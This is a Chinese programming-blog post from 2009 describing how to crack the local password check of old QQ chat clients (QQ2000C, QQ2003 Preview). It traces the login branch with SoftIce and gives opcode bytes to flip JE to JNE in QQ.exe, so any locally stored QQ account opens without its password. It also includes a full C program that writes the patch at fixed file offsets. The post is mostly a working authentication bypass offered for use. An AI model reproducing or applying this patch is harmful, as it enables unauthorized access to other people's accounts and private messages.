龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 软件开发 > C/C++开发 >

QQ本地密码验证破解

时间:2009-12-22 15:42来源:未知 作者:admin 点击:
分享到:
对应QQ版本:QQ2000C Build 1230b (2003.04.09)/QQ2003 PreView1 (测试通过) 使用工具:SoftIce,UE,W32Dasm 跟踪过程: 1,在SI中断点 bpx messageboxa 对输错密码后弹出的MessageBox进行拦截. 2,第一步中当然能拦到,接

  对应QQ版本:QQ2000C Build 1230b (2003.04.09)/QQ2003 PreView1 (测试通过)

  

使用工具:SoftIce,UE,W32Dasm

  

跟踪过程:

  

1,在SI中断点 bpx messageboxa 对输错密码后弹出的MessageBox进行拦截.

  

2,第一步中当然能拦到,接着按F11看何处调用了Messageboxa,再设断点,并用此方法一直向上找.

  

3,用2的方法,直到找到一个断点,不管输入的密码正确与否这个断点都能起做用,(由下向上找到的第一个这样的断点),在本例中是:00404F2(此时QQ开着).

  

...

  

00404EC: CALL [EDI+20]

  

00404EF: TEST,EAX,EAX

  

00404F1: POP EDI

  

00404F2: JZ 00404581 这是要害处,输入密码正确后就跳,不正确时不跳.

  

...

  

那么对此处修改即可了.

  

  

修改:用W32DASM打开QQ.EXE,找到00404F2处,看到:

  

...

  

JE 00404581 (为什么是JE,不是JZ了,偶也没搞明白,菜啊~ ^_^)

  

...

  

其对应的OPCODE是: 57 20 85 C0 5F 0F 84 89

  

用UE打开QQ.exe查找"57 20 85 C0 5F 0F 84 89",并改为"57 20 85 C0 5F 0F 85 89",即把JE指令,改成了JNE指令,并保存.这时再打开QQ,不用输密码即可进入随便一QQ了.

  

  

用任何一个编程语言做个小程序,读取从文件头开始处偏移处的字节,假如为0x84,则修改为0x85就可以了。

  

  

#include "stdio.h"

  

  

main()

  

{

  

FILE *fp;

  

printf("QQ Local Login Tools

");

  

printf("Crack: Wing QQ:6465660

");

  

printf("Code : ccrun QQ:165332

");

  

  

fp=fopen("QQ.exe","rb+");

  

if(!fp)

  

{

  

printf("Not Found QQ.exe!

");

  

exit(0);

  

}

  

fseek(fp,0x54f4,0); /*此地址针对QQ2003 Preview 1,假如是QQ1230的,则地址为0x44F3*/

  

if(fgetc(fp)==0x84) /* OPCode:JE */

  

{

  

fputc(0x85,fp); /* OPCode:JNE */

  

printf("Cracked SUCcess!

Press any key to conitnue...");

  

}

  

else

  

printf("QQ Version Error!

Press any key to continue...");

  

fclose(fp);

  

getch();

  

}

  

  

-----------------------------

  

破解:Wing

  

Mail:wing@hackermail.com

  

OICQ:6465660

  

-----------------------------

  

代码:ccrun

  

信箱:info@ccrun.com

  

OICQ:165332

  

精彩图集

赞助商链接